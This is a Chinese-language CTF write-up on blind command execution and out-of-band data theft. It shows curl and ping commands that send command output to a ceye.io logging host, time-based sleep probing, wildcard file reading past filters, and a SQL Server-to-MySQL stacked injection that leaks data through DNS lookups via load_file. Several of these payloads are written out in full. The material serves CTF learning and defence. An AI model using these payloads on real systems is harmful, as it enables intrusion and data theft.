RCE+OOB+一道HCTF实战
两则需要知道的RCE实战trick
RCE-trick1
前言
想必大家遇到RCE的题目不算少数,那么如果题目可以命令执行,却没有回显,那么我们应该如何有效打击呢?
盲打RCE
先看这样一段函数:
对于这样的情况,我们可以直接
即可拿到回显:
但是如果题目变成
<?php
$cmd = $_GET[`cmd`];
`$cmd`;
又该怎么办呢?
这里的命令执行结果显然不会打印出来,那么我们如何获取到这个结果?
这里介绍一种方法:
curl http://ip.port.b182oj.ceye.io/`whoami`
ping `whoami`.ip.port.b182oj.ceye.io
我们可以将回显直接打出来
而这里用了一点反引号可以直接执行命令
所以最后打出来的应该是
但是大家有没有想过,如果我们这里用ls会是什么结果呢?
curl http://ip.port.b182oj.ceye.io/`ls`
显然,我们只打印出了第一行的值:
那么剩余的怎么办?
就要用到接下来的sed命令
sed作为Linux三剑客之一,功能十分强大
我们看一下用法
我们需要用到这里的-n
测试一下:
相当完美的实现了行的划分,可以依此打出所有行信息
那么问题又来了
打出来的信息可能会受到长度的限制,这又该如何解决呢?
这里又要用的强大的指令cut
同样我们看一下用法
我们需要用到这里的-c
我们测试一下
一个字符一个字符太慢?
那可以截取段:
故此可以打出任意行,任意长度的信息
实战例题
题目来自安恒秋季赛决赛的python PIL
拿到题目后,先谷歌一波,搜到了CVE:
GhostButt CVE-2017-8291
然后使用了Ph牛的POC:
https://github.com/vulhub/vulhub/blob/master/python/PIL-CVE-2017-8291/poc.png
阅读readme:
比如poc.png,我们上传之,即可执行touch /tmp/aaaaa。将POC中的命令改为反弹命令,即可获得shell:
所以将其中的指令改为反弹shell,但是很遗憾,反弹失败。
而若反弹不出shell,我们执行命令也无法回显,那该怎么办呢?
这里就用到了我们的盲打RCE
curl http://ip.port.b182oj.ceye.io/`ls`
然后可以把对方服务器上ls执行的结果返回回来
于是乎经过一番探索发现
cd /var/www&&ls
回显Flask,于是找到了flag的位置
cat /var/www/Flask/flag |base64
成功拿到flag的base64,解码即可得到flag:
flag{ec72feaeac7c5dd13e0e5104ad2e9705}
可以盲打RCE在真实渗透案例中还是比较常见的,掌握这种技巧的价值也很高。
另一种打法—Time-Based-RCE
在后来的swpu2017的比赛中,我也发现了类似的题目,但是最后给出了另一个解法:Time-Based-Rce
我觉得也很有趣,也和大家分享一样
加入我们这样使用
?cmd=if [1=1];then sleep 10;fi
浏览器则会睡眠10秒后才响应
而?cmd=if [1=2];then sleep 10;fi
则会立即响应
那么我们可以利用这种类似sql盲注的方法进行RCE执行结果获取
?cmd = if [$(whoami|cut –c 1)=w];then sleep 10;fi
如果成立,则会类似盲注一样,待响应10s,如果错误则会立即回显
但我们输出的结果里可能会带有其他字符,所以可以经过Base32处理一下,这样输出的只有大写字符和数字,以及等号
类似于:
?cmd = if [$(whoami|base32|cut –c 1)=O];then sleep 10;fi
而在github上也有类似的利用工具:
https://github.com/dancezarp/TBDEx
RCE-trick2-神奇的通配符
前言
不知道大家是否遇到过这种情况:
在RCE命令执行的时候,大量系统函数被禁,剩下的指令所剩无几,且一些绕过trick也失效了。这里我将结合一道例题来讲解,题目来自成信的2017geekgame
实战案例
题目过滤了cat等常见的读取命令,以及大量系统命令
我fuzz了一下,发现sort,watch都可以用
然后又发现题目过滤了空格,又发现%0b可以绕过
而最后最坑的来了,ls,find等指令均被禁用,那么我们应该如何去尝试读取文件,探测目录呢?
这里就不得不介绍一种通配符了
我们首先看一下linux下的符号有哪些:
- * - 通配符,代表任意字符(0到多个)
- ? - 通配符,代表一个字符
- # - 注释
- / - 跳转符号,将特殊字符或通配符还原成一般符号
- | - 分隔两个管线命令的界定
- ; - 连续性命令的界定
- ~ - 用户的根目录
- $ - 变量前需要加的变量值
- ! - 逻辑运算中的"非"(not)
- / - 路径分隔符号
- >, >> - 输出导向,分别为"取代"与"累加"
- ' - 单引号,不具有变量置换功能
- " - 双引号,具有变量置换功能
- ` - quote符号,两个``中间为可以先执行的指令
- () - 中间为子shell的起始与结束
- [] - 中间为字符组合
- {} - 中间为命令区块组合
- Ctrl+C - 终止当前命令
- Ctrl+D - 输入结束(EOF),例如邮件结束的时候
- Ctrl+M - 就是Enter
- Ctrl+S - 暂停屏幕的输出
- Ctrl+Q - 恢复屏幕的输出
- Ctrl+U - 在提示符下,将整行命令删除
- Ctrl+Z - 暂停当前命令
- && - 当前一个指令执行成功时,执行后一个指令
- || - 当前一个指令执行失败时,执行后一个指令
我选择fuzz了一下,发现?还存在,这就引起了我的注意
以前从未想过?可以当做通配代替文件名
我们做个测试,当前目录下有如下文件
文件内容为:
如果我们未知文件名,只有sort和?怎么去读文件呢?
没错,直接利用?去通配文件名即可
那么隐藏文件又该如何读取呢?
在问号前加一个.即可
故此我们可以写一个脚本,爆破出当前目录下所有文件的内容
而这道题也用了这样的方法破解成功
SQL注入盲打
—OOB利用DNS偷走数据
也算是一点奇淫技巧,这种题目并不是很常见,我也是第一在hctf遇到,简单来说,就是在过滤不严谨的情况下,利用dns带出我们注入得到的结果。乍一听可能比较难以理解,话不多说,我们直接从题目中学习:
实战演练
题目来自10月份的XCTF联赛中的HCTF,题目的破解正是应用了OOB(out of band),利用dns偷走数据
1.1 题目描述:
题目分为两层,第一层是注入,第二次是注入拿到的路径,进去后是一个typecho页面,但是禁用了许多系统命令。
1.2 题目分析:
http://106.15.53.124:38324/?id=1
发现源码泄露:
php
<?php
echo "Bob received a mission to write a login system on someone else's server, and he he only finished half of the work<br />";
echo "flag is hctf{what you get}<br /><br />";
error_reporting(E_ALL^E_NOTICE^E_WARNING);
try {
$conn = new PDO( "sqlsr","oob", "");
}
catch( PDOException $e ) {
die( "Error connecting to SQL Server".$e->getMessage() );
}
#echo "Connected to MySQL<br />";
echo "Connected to SQL Server<br />";
$id = $_GET['id'];
if(preg_match('/EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare|insert|into|outfile|dumpfile|sleep|wait|benchmark/i', $id)) {
die('NoNoNo');
}
$query = "select message from not_here_too where id = $id"; //link server: On linkname:mysql
$stmt = $conn->query( $query );
while ( @$row = $stmt->fetch( PDO::FETCH_ASSOC ) ){
//TO DO: ...
//It's time to sleep...
}
?>
可以知道三个关键点:
第一点:
try {
$conn = new PDO( "sqlsr","oob", "");
}
使用了PDO,且提示了oob,其中PDO是可以堆叠执行sql的,oob是一种攻击手法,算是提示
第二点:
//link server: On linkname:mysql
可以见到还有一个mysql,我们的flag应该是在Mysql
第三点:
EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare|insert|into|outfile|dumpfile|sleep|wait|benchmark/i
过滤在此,分析了一下,我们在oob中可以使用load_file(),这里的函数过滤应该也算一个提示
然后是如何在sql server的查询中查询mysql,可以用如下方法:
SELECT *
FROM OPENQUERY(Servername,'select * from DBName.tablename')
然后我们研究oob:
找到这样一个链接:
http://bobao.360.cn/learning/detail/3458.html
其中给出了非常好的payload
select load_file(concat('\\',version(),'.hacker.site\a.txt'));
select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));
可见我们需要一个dns服务器,他在去解析这个dns的时候,我们在dns服务器上就能看见
注意:
拿vps+域名泛解析是不行的,像Ping这种请求,vps日志是收不到的
所以我们找了一个网站http://ceye.io/records/dns
是真的强,直接免去了我们搭dns服务器的事。
下面开始攻击,构造payload:
http://106.15.53.124:38324/?id=1;SELECT * FROM OPENQUERY(mysql,'select load_file(
concat('\\',version(),'.2bub8m.ceye.io\abc'));');
http://106.15.53.124:38324/?id=1;SELECT * FROM OPENQUERY(mysql,'select load_file(
concat(0x5c5c5c5c,version(),0x2e32627562386d2e636579652e696f5c5c616263));');
注:记得16进制,否则不会成功,双引号+单引号不成功卡了我一会儿
即可在dns查询上看到:
5.7.19.2bub8m.ceye.io
下面就是常规探测了,毕竟没有过滤:
- 库名:webwebweb.2bub8m.ceye.io
- 表名:secret.2bub8m.ceye.io
- 字段名: id.2bub8m.ceye.io name.2bub8m.ceye.io password.2bub8m.ceye.io
于是查name字段:
flag.2bub8m.ceye.io
再查password字段:
dn5-1og-can-take-f14g-6as84f.2bub8m.ceye.io
组合后得到flag:hctf{dn5-1og-can-take-f14g-6as84f}
- PXE+kickstart网络安装CentOS7.4系统及过程中各种报错
- MSDN官方的ASP.Net异步页面的经典示例代码
- Nginx反向代理、负载均衡功能
- 2018即将面临的12个云安全风险
- Flask快速入门,知识整理
- python的reduce()函数
- 企业级memcached缓存数据库结合php使用与web管理memcached
- python中星号的意义(**字典,*列表或元组)
- Python 实现抽象类的两种方式+邮件提醒+动态导入模块+反射(参考Django中间件源码)
- Python 实现抽象类的两种方式+邮件提醒+动态导入模块+反射(参考Django中间件源码)
- 还没开始学Python之前,你要知道,Python程序员一定会的十件事
- zabbix-server端与zabbix-agent端部署与监控
- 比特币是什么?比特币从何而来?
- Django内置Admin
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- 在 Pycharm 安装使用black的方法详解
- Android开发手机无线调试的方法
- Android Studio Gradle插件版本与Gradle版本之间的对应关系
- Android Usb设备的监听(Dev)外设端口的判定以及耳机的插拔
- Android自定义View实现简单文字描边功能
- 在脚本中单独使用django的ORM模型详解
- Android5.0之Activity的转场动画的示例
- Django-rest-framework中过滤器的定制实例
- Python greenlet和gevent使用代码示例解析
- 完美解决pyinstaller打包报错找不到依赖pypiwin32或pywin32-ctypes的错误
- Android开发中Intent.Action各种常见的作用汇总
- Android解决ScrollView下嵌套ListView和GridView中内容显示不全的问题
- Android添加ButterKnife时报错Error:(2, 0) Cannot add extension with name 'android'的解决办法
- Python视频编辑库MoviePy的使用
- python json.dumps中文乱码问题解决